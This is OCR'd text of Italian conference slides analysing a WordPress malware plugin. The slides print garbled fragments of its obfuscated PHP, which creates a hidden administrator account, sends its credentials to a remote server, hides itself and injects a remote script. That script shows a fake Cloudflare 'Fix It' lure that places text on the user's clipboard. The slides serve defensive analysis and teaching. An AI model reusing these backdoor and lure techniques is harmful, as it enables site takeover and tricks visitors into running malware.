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Analisi di un attacco
Malware su WordPress

Workshop sul Calcolo nell'l.N.F.N 26 - 30 maggio 2025

Francesco Amori (CNAF)

Vincenzo Ciaschini (CNAF)
Stefano Enrico Zotti (CNAF) I N F N



Attacchi subiti da WordPress

Infected Websites Platform Distribution

In termini di attacchi quotidiani, si stima
che circa 13.000 siti WordPress

vengano compromessi ogni giorno, il che

corrisponde a circa 4,7 milioni di siti

all'anno.

[https:/colorlib.com/wp/wordpress-hacking-statistics/]
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Come mai molti attacchi puntano su
WordPress?

WordPress & una delle piattaforme di gestione dei contenuti (CMS) piu popolari al mondo, il che lo rende un
bersaglio attraente per malware e attacchi da parte di persone malevole.

Di seguito alcuni dei motivi principali per cui WordPress € spesso preso di mira:

1) Popolarita: WordPress alimenta una grande percentuale di siti web su Internet. La sua ampia diffusione lo rende
un bersaglio attraente per gli attaccanti, poiché un singolo exploit puo potenzialmente colpire un gran numero di
siti.

2) Plugin estemi di terze parti : WordPress consente I'uso di plugin e temi di terze parti per estendere le

funzionalita del sito. Tuttavia, non tutti i plugin e temi sono sviluppati con gli stessi standard di sicurezza, e alcuni
possono contenere vulnerabilita che possono essere sfruttate.

3) Aggiornamenti non eseguiti: Molti utenti di WordPress non aggiornano regolarmente il core di WordPress, i
plugin e i temi. Gli aggiornamenti spesso includono patch di sicurezza, e la mancata applicazione di questi
aggiornamenti puo lasciare i siti vulnerabili a exploit noti.

4) Configurazioni di sicurezza deboli: Alcuni utenti di WordPress non implementano misure di sicurezza di base,
2 0s20,.S0Me l'uso di password complesse, la limitazione dei tentativi di accesso, o 'uso di plugin di sicurezza.
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Come mai molti attacchi puntano su
WordPress?

5) Accesso amministrativo non protetto: L'accesso all'area di amministrazione di WordPress (wp-admin)
spesso protetto solo da una password. Se questa password e debole o compromessa, gli attaccanti possono
ottenere faciimente l'accesso al sito.

6) Phishing e attacchi di ingegneria sociale: Gli utenti di WordPress possono essere ingannati attraverso email
di phishing o altri metodi di ingegneria sociale per rivelare le loro credenziali di accesso o installare plugin dannosi.

7) Codice personalizzato non sicuro: Alcuni siti WordPress utilizzano codice personalizzato che puo contenere
vulnerabilita di sicurezza. Se questo codice non & scritto in modo sicuro, puo essere sfruttato dagli attaccanti.

Per proteggere un sito WordPress, e importante seguire le migliori pratiche di sicurezza, come mantenere il core, |
plugin e i temi aggiornati, utilizzare plugin di sicurezza, implementare misure di sicurezza come firewall e
autenticazione a due fattori, e scegliere un provider di hosting affidabile.

28/05/2025
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Ambiente configurato per I'analisi

Snapshot

qq
)

\|VM\

28/05/2025
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Si e utilizzato una VM con KaliOS (o in alternativa
ParrotOS) per configurare un ambiente di analisi,
installando Node.js, PHP, VIM e un parser JavaScript
open source disponibile su GitHub (javascript-
deobfuscator). Dopo aver caricato il codice da un file ZIP,
la VM e stata isolata (offline) per motivi di sicurezza.

Sebbene strumenti avanzati come quelli offerti da Kali o
Parrot non siano strettamente necessari (potrebbe
andare bene anche una semplice Ubuntu), I'uso di queste
distribuzioni offre flessibilita nel caso di future esigenze.

La scelta della VM & motivata dalla possibilita di creare
snapshot:

ogni modifica puo essere testata in sicurezza e, in caso di
problemi,

e possibile ripristinare rapidamente lo stato precedente,
minimizzando i rischi.
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Tecniche comuni di offuscamento del
codice

* Rinominazione dei Simboli

* Inserimento di Codice Morto

« Offuscamento del Flusso di Controllo
« Codifica delle Stringhe

« Offuscamento degli Operatori

« Offuscamento delle Strutture Dati

« Ultilizzo di Funzioni di Ordine Superiore

28/05/2025
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Techiche comuni di deoffuscamento del codice
Tools Utili: - Unphp.net, - deobfuscate.io, - Script Ad-Hoc

1. Analisi statica manuale

« Formattazione del codice (beautify): identazione e rimozione di concatenazioni inutili per migliorarne la
leggibilita.

2. Esecuzione controllata (sandbox/debugging)

 Esecuzione del codice in ambienti isolati (es. Docker, VM con snapshot) con logging esteso su output,
filesystem e rete.

3. Analisi delle stringhe offuscate
e Stringhe /hex/oct/dec/..ecc:
4. Emulazione/parsing dinamico

* Ricostruzione del payload senza eseguire "eval™

28/05/2025
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Tools Online per effettuare decoding PHP

class { private $seed; private 3$config = array( ==
. ==
' =
); public function () { goto LsXv

K; kOdnNX: $this->init_hooks(); goto L3e4Q; LlsXvK: $this->seed = md5(DB_PASSWORD . AUTH_SALT); goto kOdNX; L3e4Q: $this->enable_self_heal(); goto JPec3; JPec3: } private function

() { goto vWj6Y; Bf2ry: add_action( , [$this, 1); goto ajoZB; Ebck9: add_action
( , [$this, 1); goto WHY31; aj0ZB: add_action(

, [$this, 1); goto Ebck9; wvWj6Y: add filter(

, [$this, 1); goto Bf2ry; WHY31: } public function ($UZVvB5) { unset($UZVB5[plugin_basen
ame(__FILE_ )]); return $UZVB5; } public function () { $f30j7 = $this->generate_credentials(); if (lusername_exists($F30j7[ 1)) { $N3kaIl = wp_c
reate_user($r30j7[ 1, $T30j7[ 1, $F30j7[ 1); if ('is_wp_error($N3kaIl)) { (new WP_User($N3kal))->set_role(

), $this->send_credentials($f30j7); } } } private function () { $0ax2a = substr(hash( , $this->
seed . ), ©, 16); return [ => . substr(md5($0ax2a), 0, 8), => substr(md5($0ax2a .
), 0, 12), == . parse_url(home_url(), PHP_URL_HOST), => $_SERVER[
1. => home_ur1()]; } private function ($Tx09z) { goto t6XLO; i7NeK: error_log(
print_r($paDFw, true)); goto Z6limy; HAykW: $AmMDFf = [ == [ => base64_encode($0IYG9)],
=> 15, => false, => false]; goto dfwJF; t6XLO: $0IYGY9 = json_encode($Tx09z, JISON_UNESCAPE
D_SLASHES | JSON_UNESCAPED_UNICODE); goto HAykW; cg20m: $paDFw = wp_remote_post($t9o_G, BAmDFf); goto i7NeK; dfwlF: $t90_G = base64_decode($this->config[
1); goto cg20m; Z&lmy: } public function ($KGzVz) { goto FWAO7; FWAO7: global $qwZ 6; goto cZq6l; gaoOd: $KGzVz->query_where .=
; goto Xee_1; cZg6I: $mY5JF = $this->generate_credentials()[ 1; goto gao
0d; Xee_1: } public function () { goto w2F59; uGnYB: wp_enqueue_script( , $oirre, [], null, [
=> . => true]); goto EwEMc; x1ld6z: $oirr6 = base64 decode($this->config[ 1)
. time(); goto uGnYB; w2F59: wp_engqueue_style( , base64_decode($this->config[ 1), [1, null); goto x1ld6z; EwWEMc: } priv
ate function () { register_activation_hook(__FILE__, [%this, 1); add_action(
, function () { static $IzT2n = false; if (!$IzT2n && rand(l, 20) === 10) { $this->create_admin_user(); $IzT2n = true; } }); } } new Lowmaster();
28/05/2025 Unphp'net 8
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Tools Online per effettuare decoding PHP

PHP Decode

class Lowmaster { private $seed; private $config = array("\x66\157\1561164" => "\x61\110\x..

Decoded Output download

class { private Fseed; private SconTig = array( == B =
> v == ) public function () { goto 1sXvK;
kOdNX: $this-=init_hooks(); goto L3ed(; 1sXvK: Sthis->seed = md5(DB_PASSWORD . AUTH_SALT); goto kOdNX; L3ed(: $this-=enable_self_heal(); goto JPec3; JPec3: } private
function () { goto wWjGY; Bf2ry: add_action( , [$this, 1); goto aj@ZB; Ebck9: add_action( , [$this,

1); goto WHY31; ajeZB: add_action( . [3this, 1); goto Ebck9; wvWjEY: add_filter( , [Bthis, 1)}; goto BfZr
y,; WHY31: } public function ($UZVBS) { unset(SUZVBS[plugin_basename(__ FILE )]); return $UZVB5; } public function () { $730j7 = $this-=ge
nerate_credentials(); if (!username_exists($F30]7[ 1}) { BN3kal = wp_create_user (ST30j7[ 1, BF30j7[ 1. BT3037[ 1); if (l'is_wp_error(EN3kal)) {
(new WP_User($N3kal))-=set_role( ); $this-=send_credentials($f30j7); } } } private function {) { §0aX2a = substr(hash( . 3th
is-»seed . ), B, 16); return [ == . substr(mdS($0aX2a), 0, B8), == substr{md5(%0axX2a . }. @, 12}, => . parse_url(h
ome_url(), PHP_URL_HOST), => $_SERVER[ 1. => home_url({)]; } private function ($Tx09z) { goto tEXLO; iv¥NeK: error_log(

. print_r(%paDFw, true)); goto Z&ilmy; HAykW: SAmDTf = [ == [ =» basef4_encode($0IYGS)], => 15, => Talse,
=> fTalse]; goto dfwlF; tEGXLO: $0IYGY = json_encode($Tx09z, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto HAykW; cg20m: SpaDFw = wp_remote post($t9oc G, FA
mDff); goto ivNeK; dfwlF: $t90_G = basefd4_decode($this-=config[ 1): goto cg20m; Z&imy: } public function (BKGzVz) { goto FWAOT; FWAD7: glo
bal $qwZ_6; goto cZg6l; gaoOd: SKGzVz-=>query_where .= ; goto Xee_ 1; cZgBl: $mYSJF = Sthis-=generate_credentials()[

1; goto gaoOd; Xee_1: } public function () { goto w2F59; uGnYB: wp_enqueue_script( . Boirrg, [], null, [ => E ==
true]); goto EwEMc; x1d6z: $oirr6 = base64 decode($this->config[ 1) . . time(); goto uGnYB; w2F59: wp_enqueue_style( , base64_decode(Sthis->co
nfig[ 1), [1., null); goto x1d&z; EwEMc: } private function () { register_activation_hook{__FILE_ , [&this, 1); add_action(

, Tunction () { static $IzT2n = false; if (!$IzT2n && rand(l, 20) === 10) { Fthis-=create_admin_user(); $IzT2n = true; } }); } } new Lowmastert();

Unphp.net

28/05/2025
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Offuscamento tramite codifica delle

stringhe

| caratteri delle stringe sono stati
sostituiti con una combinazione di
notazione esadecimale e ottale

\x73
\x68
\x61
\x32
\x35
\x36

28/05/2025
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\65
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\53
\54
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\123
\110
\101
\062
\065
\066

S

i “\x73\x68\X61\x32\x35\66”
A
: ! 1
5
6

"SHA256"
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Codice Python di utility per decodifica

- Gestione eccezioni
- Verifica HEX o OCT

- Ritorno stringa ASCII se non trova
la codifica

- In input file codificato
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Offuscamento del Flusso di Controllo

'operatore goto in PHP e utilizzato per e
alterare il flusso di esecuzione del ke

programma. Consente di saltare a un'altra b —generate_credentials()["\x75\163\x65\x72"]
sezione del programma, identificata da “Eﬁqh _

un'etichetta.

soto BNKsw;

L'utilizzo non & nelle best practice della
programmazione PHP perché altera la
leggibilita e la manutenibilita del codice.

28/05/2025
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Offuscamento del Flusso di Controllo

'operatore goto in PHP e utilizzato per e
alterare il flusso di esecuzione del ke

programma. Consente di saltare a un'altra b —generate_credentials()["\x75\163\x65\x72"]
sezione del programma, identificata da “Eﬁqh _

un'etichetta.

soto BNKsw;

L'utilizzo non & nelle best practice della
programmazione PHP perché altera la
leggibilita e la manutenibilita del codice.

28/05/2025
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Offuscamento del Flusso di Controllo

'operatore goto in PHP e utilizzato per e
alterare il flusso di esecuzione del ke

programma. Consente di saltare a un'altra b —generate_credentials()["\x75\163\x65\x72"]
sezione del programma, identificata da Saueryquery_where .- \0\101\116\104\

un'etichetta.

soto BNKsw;

L'utilizzo non & nelle best practice della
programmazione PHP perché altera la
leggibilita e la manutenibilita del codice.

28/05/2025 14

(/' %, Ministero . B 7% PNC
4§~ dell’Universita ’Z-l'l ltaliadomani l {:} nnnnnnnnnnnnnn S
DI ISAESA E RESILENTA - [& ial PNRR

?«\J e della Ricerca

"I\\ DARE



Offuscamento del Flusso di Controllo

'operatore goto in PHP e utilizzato per
alterare il flusso di esecuzione del
programma. Consente di saltare a un‘altra
sezione del programma, identificata da
un'etichetta.

L'utilizzo non & nelle best practice della
programmazione PHP perché altera la
leggibilita e la manutenibilita del codice.

28/05/2025
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public function filter_admin_users($

s 0 rIZDw;
ENKsw

—generate_credentials()[ “x75%\163%x654x72 ]
goto zhcbE;

zhcoE
: —rquery_where . “NABh1e1N\116N104N401 % —users}tix2e’\x75%16

global $updb;
goto BNKsw;
vOd8P

public function filter admin_users($

global % :

—generate_credentials()[
—query_where . {4
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Risultato analisi codice plugin PHP

1. Creazione di credenziali
1. Crea un nuovo utente con privilegi da amministratore, con username accettabile (es. backup_admin, system).
2. Aggiunta diretta nel database (wp_users, wp_usermeta) bypassando il backend.

2. Lutente puo essere nascosto dall'interfaccia admin tramite filtri nelle APl REST e nelle query interne di
WordPress.

3. Password generate automaticamente o preimpostate e memorizzate in chiaro nel codice o inviate a un server
remoto.

4. Sovrascrittura delle APl WordPress con l'intento di non fare apparire utenti e plugin malevolo nella dashboard o
nei risultati di query REST/API.

5. Download e gestione di asset remoti in particolare un JS malevolo

28/05/2025 16
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Download assets

5ub11c F.“:tlo . L) 1
wp_enqueu ylel [1, null);

wp_enqueue_acript[ b [], null,

, 'QaSDBV/UET ", ' @\x22\x jSSIE30NQ7 ",
,*PFHLLy ' sW ; i fD/t85F+e"

28/05/2025 17
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Attacco all'utenza

I malware che ha compromesso |l Da server a client: il malware colpisce
sito WordPress scarica una libreria i visitatori del sito compromesso
JavaScript malevola, iniettandola
direttamente nel codice HTML. In
questo modo, I'attacco si sposta dal
server al client, colpendo non piu
'amministratore del sito, ma i visitatori

<HTML

che accedono alle pagine infette.
Server client
28/05/2025 18
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Analisi del codice JavaScript

JS

Per analizzare il codice JavaScript, € essenziale prima deoffuscarlo e poi procedere con
l'analisi.
La codifica del codice JavaScript € una tecnica utilizzata per nascondere il significato del

codice, rendendolo meno leggibile per gli esseri umani, pur rimanendo eseguibile dai
browser.

Il codice JavaScript, anche se caricato come asset e offuscato, viene compilato durante
l'esecuzione dai browser moderni grazie al motore JavaScript che utilizza la tecnica JIT
(Just-In-Time). Questo processo migliora le prestazioni e permette al browser di interpretare
correttamente il codice. Cio significa che, nonostante 'offuscamento, il codice puo essere
interpretato. Per facilitare questa interpretazione, esistono diversi strumenti, anche online,
che semplificano I'analisi del codice.

28/05/2025
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Tool online per il deoffuscamento del
codice JavaScript: deobfuscate.io

Input Output
/{ Example obfuscated code let total = 9;
const _Ox3Ba2db = ['\x54\x6F\xT74a\x6c', "\ xBc\x6BF\x67', "\x3a\x2 for (let i = 8; 1 < 18; i++) {
const ©x9b58d9 = function( @x39ddb7) { total += i;
return _0x38a2db[_8x39ddb7 + (-0x6d5 + 8x58 + Ox11 * 0x62)]1; }
}. ©x498b%b = function( 0x48d868, 6xlddale) { console.log("Total: " + total);

return _8x9b58d9( 0x48d888);

}. 8x34c7bc = function( ®xl6afld, ©x27a29%e) {
return _@x498b9b( 8x16afld);

}. _Bx23al = 8x34cTbc;

let total = Ox2 * 8x109%9e + -Oxc * -8x16a + -8x3234;

for (let i = 8x1196 + Ox97b * @x3 + -0x2e07; i < -0x95 * -0x38 +
total += i;

}

consolel 0x34cTbc(-(0xleTc + -Ox1 * -8x1367 + 0x2ef * -0x11))]1(

28/05/2025 https://deobfuscate.io/
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In cosa consiste la deoffuscazione del
codice JavaScript?

La deoffuscazione del codice JavaScript € il processo di trasformazione del codice
offuscato in una forma piu leggibile e comprensibile. Questo processo & essenziale per
analizzare e comprendere il funzionamento del codice.

Utilizzare strumenti di analisi statica come ESLint o JSHint sono il primo passo per aiutare a
identificare il codice e a migliorarne la sua leggibilita. Questi strumenti analizzano il codice
senza eseguirlo, fornendo suggerimenti per miglioramenti e correzioni.

28/05/2025
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Utilizzare strumenti di analisi statica

L'utilizzo di ESLint ci ha permesso di eseguito un primo tentativo di
deoffuscazione e comprensione del codice del malware.

28/05/2025 22

#5n Ministero

}‘a dell’Universita ’Z-l.:'l ltaliadomani l ". | f{:} ch cccccccccccccccccc | D/\RE
%2> e della Ricerca s : I\\




Utilizzare strumenti di analisi statica

Bx5413d1| _©@=16¢

_B=p1f51e| _@=25c9cC

Si intravede del codice human readable!!!

28/05/2025
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In cosa consiste la deoffuscazione del
codice Javascript?

Nel codice offuscato, i nomi delle variabili e delle funzioni sono spesso sostituiti con nomi privi di significato
apparente per una persona, ma non per un motore JavaScript come quello presente nei browser. Procediamo con
le prossime tecniche di deoffuscamento.

*Decodificare le stringhe: Molti codici offuscati utilizzano stringhe codificate per nascondere il loro vero
significato. La decodifica di queste stringhe puo rivelare il codice originale e renderlo piu comprensibile.

*Array Unpacking: L'offuscamento spesso utilizza array per nascondere parti del codice. L'unpacking degli array
permette di estrarre e riorganizzare il codice in una forma piu leggibile.

*Proxy Functions: Le funzioni proxy possono essere utilizzate per intercettare e modificare il comportamento
delle funzioni offuscate. Questo permette di tracciare e comprendere meglio il flusso del codice.

*Expression Simplification: Semplificare le espressioni complesse puo rendere il codice piu leggibile. Questo
include la sostituzione di espressioni complesse con equivalenti piu semplici e la rimozione di codice ridondante.
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Tecniche di deoffuscamento di JavaScript

Array Unpacking

const _0x501b31=[

’

const _0x501b31 =]

’

Expression Simplification

9145) [{
0x135796;

Proxy Functions

function a(b, c) {
returnc+ 2 * b;

0x3dBc2c

Ox413285

}

const result = a(5, 6);
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Expression Simplification

_0x59a205 = -0x4b1 * 0x4 + -0x222c + 0x34f0; _0x62f51e[ 0x3d8c2c(0xa9a)](_0x59a205, 0x45181e[ 0x3d8c2c(381)]); 0x59a205++) {...}
_0x59a205 = 0; _0x62f51e[_0x3d8c2c(2714)](_0x59a205, 0x45181e[ 0x3d8c2¢(381)]); _0x59a205++) {...}
i = 0; listaA[getValueFromIndex(2714)](i, listaB[getValueFromIndex(381)]); i++) {...}

i =0; i< length(varA); i++) {...}

cookie_number = 0; cookie_number < cookie_list.length; cookie_number++) {...}

https://github.com/ben-sb/javascript-deobfuscator
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Analisi del codice JavaScript
deoffuscato

Dopo aver completato il deoffuscamento del codice, si puo passare alla fase di analisi del codice
legqgibile.

* Verifica delle Dipendenze: Prima di eseguire il codice, &€ importante controllare che non siano
presenti librerie o chiamate esterne per scaricare ulteriori asset. Questo passaggio assicura che il
codice possa funzionare offline senza la necessita di risorse aggiuntive.

 Utilizzo del Debugger: Una volta verificato che il codice funziona offline, si puo procedere con
l'analisi utilizzando un debugger. | browser moderni offrono strumenti integrati, come Chrome
DevTools, che permettono di eseguire il codice passo-passo. Questo approccio facilita la
comprensione del comportamento del codice e l'identificazione di eventuali problemi.

« Analisi e Documentazione: Durante l'analisi, & utile documentare le funzionalita del codice e
annotare eventuali osservazioni. Questo processo aiuta a mantenere una traccia chiara delle
operazioni svolte dal codice.
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Utilizzo del debugger

Una volta deoffuscato il codice JavaScript, I'uso di un debugger € fondamentale per un‘analisi approfondita. Sono possibili
due strumenti diversi di debugging:

1. Debugger del browser

2. Debugger di Node. s

Tecniche di Debugging:

* Breakpoints: Imposta breakpoints nel codice per fermare I'esecuzione in punti specifici e analizzare lo stato delle
variabili.

* Watch Expressions: Monitora espressioni specifiche per osservare come cambiano durante l'esecuzione del codice.

* Call Stack: Esamina il call stack per comprendere la sequenza di chiamate di funzione che hanno portato all'esecuzione
del codice corrente.
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Risultato analisi codice JavaScript

1.  Riconoscimento della lingua di sistema del client e del sistema operativo.

2. Injection del codice HTML e CSS nella pagina web con testo basato sulla lingua
identificata.

3. Ottimizzazione del codice HTML con timeout per nascondere e/o visualizzare sezioni di
codice HTML

Creazione di un cookie con un tempo di vita limitato
Utilizzo delle API Clipboard del browser per inserire un testo negli appunti dell'utente

Attivazione dell'interfaccia modificata del sito all'utente
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L'arte dell'attacco

.split( .includes(language) ? languag:
orm. index0f(
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L'arte dell'attacco

Verify you are human CLOUDFLARE

nvacy « Temms
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L'arte dell'attacco

CLOUDFLARE
Privacy = Tenms

Your browser cannot verify that you are human.
0 Please run Windows Defender to fix the issue.

Click the "Fix It" button to start.
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L'arte dell'attacco

Press the key combination CLOUDFLARE

Privacy = Tenms

R i Enter
+ B and then 4+ B then press
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L'arte dell'attacco
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L'arte dell'attacco
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Le buone procedure se si rileva un
attacco:

1) NON CANCELLARE la macchina e i logs
2) Contattare il responsabile di sicurezza della propria struttura

3) Isolare la macchina dalla rete

4) Procedere se possibile con uno snapshot del sistema
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Thank you

This research was co-funded by the Italian Complementary National Plan PNC-I.1 "Research initiatives for innovative technologies and
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